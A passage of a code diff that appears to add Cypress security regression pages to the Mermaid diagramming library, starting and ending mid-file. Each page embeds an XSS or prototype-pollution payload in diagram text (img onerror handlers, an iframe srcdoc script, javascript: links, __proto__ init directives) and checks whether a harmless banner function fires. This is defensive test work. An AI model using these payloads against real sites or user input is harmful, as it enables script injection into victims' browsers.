<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'antiscript',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = 'classDiagram\n';
diagram += 'class Square~<img/src';
diagram += "='1'/onerror=xssAttack()>~{\n";
diagram += 'id A\n';
diagram += '}';
// var diagram = "stateDiagram-v2\n";
// diagram += "<img/src='1'/onerror"
// diagram += "=xssAttack()> --> B";
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

106
cypress/platform/xss11.html Normal file
View File

@@ -0,0 +1,106 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'antiscript',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = 'stateDiagram-v2\n';
diagram += 's2 : This is a state description<img/src';
diagram += "='1'/onerror=xssAttack()>";
// var diagram = "stateDiagram-v2\n";
// diagram += "<img/src='1'/onerror"
// diagram += "=xssAttack()> --> B";
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

106
cypress/platform/xss12.html Normal file
View File

@@ -0,0 +1,106 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'antiscript',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = 'stateDiagram-v2\n';
diagram += 's2 : A<img/src';
diagram += "='1'/onerror=xssAttack()>";
// var diagram = "stateDiagram-v2\n";
// diagram += "<img/src='1'/onerror"
// diagram += "=xssAttack()> --> B";
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

106
cypress/platform/xss13.html Normal file
View File

@@ -0,0 +1,106 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'antiscript',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = 'stateDiagram-v2\n';
diagram += 'if_state --> False: if n < 0<img/src';
diagram += "='1'/onerror=xssAttack()>";
// var diagram = "stateDiagram-v2\n";
// diagram += "<img/src='1'/onerror"
// diagram += "=xssAttack()> --> B";
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

108
cypress/platform/xss14.html Normal file
View File

@@ -0,0 +1,108 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'antiscript',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = 'classDiagram\n';
diagram += 'classA <-- classB : <ifr';
diagram += "ame/srcdoc='<scr";
diagram += 'ipt>parent.xssAttack(`XSS`)</';
diagram += "script>'>";
// var diagram = "stateDiagram-v2\n";
// diagram += "<img/src='1'/onerror"
// diagram += "=xssAttack()> --> B";
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

107
cypress/platform/xss15.html Normal file
View File

@@ -0,0 +1,107 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'strict',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = `sequenceDiagram
participant John
links John: {"XSS": "javas`;
diagram += `cript:alert('AudioParam')"}`;
// var diagram = "stateDiagram-v2\n";
// diagram += "<img/src='1'/onerror"
// diagram += "=xssAttack()> --> B";
console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

106
cypress/platform/xss16.html Normal file
View File

@@ -0,0 +1,106 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'loose',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = `sequenceDiagram
participant Alice
links Alice: { "Click me!" : "javasjavascript:cript:alert('goose')" }`;
// // var diagram = "stateDiagram-v2\n";
// // diagram += "<img/src='1'/onerror"
// diagram += '//via.placeholder.com/64\' width=64 />"]';
// console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

106
cypress/platform/xss17.html Normal file
View File

@@ -0,0 +1,106 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'loose',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = `sequenceDiagram
participant Alice
link Alice: Click Me!@javasjavascript:cript:alert("goose")`;
// // var diagram = "stateDiagram-v2\n";
// // diagram += "<img/src='1'/onerror"
// diagram += '//via.placeholder.com/64\' width=64 />"]';
// console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

105
cypress/platform/xss18.html Normal file
View File

@@ -0,0 +1,105 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
// securityLevel: 'loose',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = `classDiagram
Class "<img/src='x'/onerror=xssAttack(1)>" <--> "<img/src='x'/onerror=xssAttack(2)>" C2: Cool label`;
// // var diagram = "stateDiagram-v2\n";
// // diagram += "<img/src='1'/onerror"
// diagram += '//via.placeholder.com/64\' width=64 />"]';
// console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

107
cypress/platform/xss19.html Normal file
View File

@@ -0,0 +1,107 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-d3',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: true,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
// securityLevel: 'loose',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
var diagram = `classDiagram
class Shape{
<<<img/src='1'/`;
// // var diagram = "stateDiagram-v2\n";
diagram += `onerror=xssAttack()>>>
}`;
// diagram += '//via.placeholder.com/64\' width=64 />"]';
// console.log(diagram);
// document.querySelector('#diagram').innerHTML = diagram;
mermaid.render('diagram', diagram, (res) => {
console.log(res);
document.querySelector('#res').innerHTML = res;
});
</script>
</body>
</html>

View File

@@ -0,0 +1,75 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<style>
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
<script>
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
</script>
</head>
<body>
<div class="mermaid">
%%{init: { 'theme':'base', '__proto__': {'polluted': 'asdf'}} }%%
graph LR
A --> B
</div>
<div class="mermaid">
%%{init: { 'theme':'base', '__proto__': {'polluted': 'asdf'}} }%%
%%{init: { 'theme':'base', '__proto__': {'polluted': 'asdf'}} }%%
graph LR
A --> B
</div>
<div class="mermaid">
%%{init: { 'prototype': {'__proto__': {'polluted': 'test'}}} }%%
%%{init: { 'prototype': {'__proto__': {'polluted': 'test'}}} }%%
sequenceDiagram
Alice->>Bob: Hi Bob
Bob->>Alice: Hi Alice
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.initialize({
startOnLoad: true,
useMaxWidth: true,
});
var cnt = 0;
var a;
var handler = setInterval(() => {
cnt++;
a = {};
if (typeof a.polluted !== 'undefined') {
clearInterval(handler);
xssAttack();
}
if (cnt > 20) {
clearInterval(handler);
}
}, 100);
</script>
</body>
</html>

View File

@@ -0,0 +1,62 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<style>
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
<script>
function xssAttack() {
const div = document.createElement('div');
div.id = 'the-malware';
div.className = 'malware';
div.innerHTML = 'XSS Succeeded';
document.getElementsByTagName('body')[0].appendChild(div);
throw new Error('XSS Succeded');
}
</script>
</head>
<body>
<div class="mermaid">
%%{init: { 'fontFamily': '\"></style><img src=x onerror=xssAttack()>'} }%%
graph LR
A --> B
</div>
<script src="./mermaid.js"></script>
<script>
mermaid.initialize({
startOnLoad: true,
useMaxWidth: true,
});
var cnt = 0;
var a;
var handler = setInterval(() => {
cnt++;
a = {};
if (typeof a.polluted !== 'undefined') {
clearInterval(handler);
xssAttack();
}
if (cnt > 20) {
clearInterval(handler);
}
}, 100);
</script>
</body>
</html>

View File

@@ -0,0 +1,98 @@
<html>
<head>
<link
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
rel="stylesheet"
/>
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
<style>
body {
/* background: rgb(221, 208, 208); */
/* background:#333; */
font-family: 'Arial';
/* font-size: 18px !important; */
}
h1 { color: grey;}
.mermaid2 {
display: none;
}
.mermaid svg {
/* font-size: 18px !important; */
}
.malware {
position: fixed;
bottom:0;
left:0;
right:0;
height: 150px;
background: red;
color: black;
display: flex;
display: flex;
justify-content: center;
align-items: center;
font-family: monospace;
font-size: 72px;
}
</style>
</head>
<body>
<div>Security check</div>
<div class="flex">
<div id="diagram" class="mermaid"></div>
<div id="res" class=""></div>
<script src="./mermaid.js"></script>
<script>
mermaid.parseError = function (err, hash) {
// console.error('Mermaid error: ', err);
};
mermaid.initialize({
theme: 'forest',
arrowMarkerAbsolute: true,
// themeCSS: '.edgePath .path {stroke: red;} .arrowheadPath {fill: red;}',
logLevel: 0,
state: {
defaultRenderer: 'dagre-wrapper',
},
flowchart: {
// defaultRenderer: 'dagre-wrapper',
nodeSpacing: 10,
curve: 'cardinal',
htmlLabels: true,
},
htmlLabels: false,
// gantt: { axisFormat: '%m/%d/%Y' },
sequence: { actorFontFamily: 'courier', actorMargin: 50, showSequenceNumbers: false },
// sequenceDiagram: { actorMargin: 300 } // deprecated
// fontFamily: '"times", sans-serif',
// fontFamily: 'courier',
fontSize: 18,
curve: 'basis',
securityLevel: 'strict',
startOnLoad: false,
secure: ['secure', 'securityLevel', 'startOnLoad', 'maxTextSize'],
// themeVariables: {relationLabelColor: 'red'}
});
function callback() {
alert('It worked');
}
var diagram = '%%{init: {"flowchart": {"htmlLabels": "true"}} }%%\n';
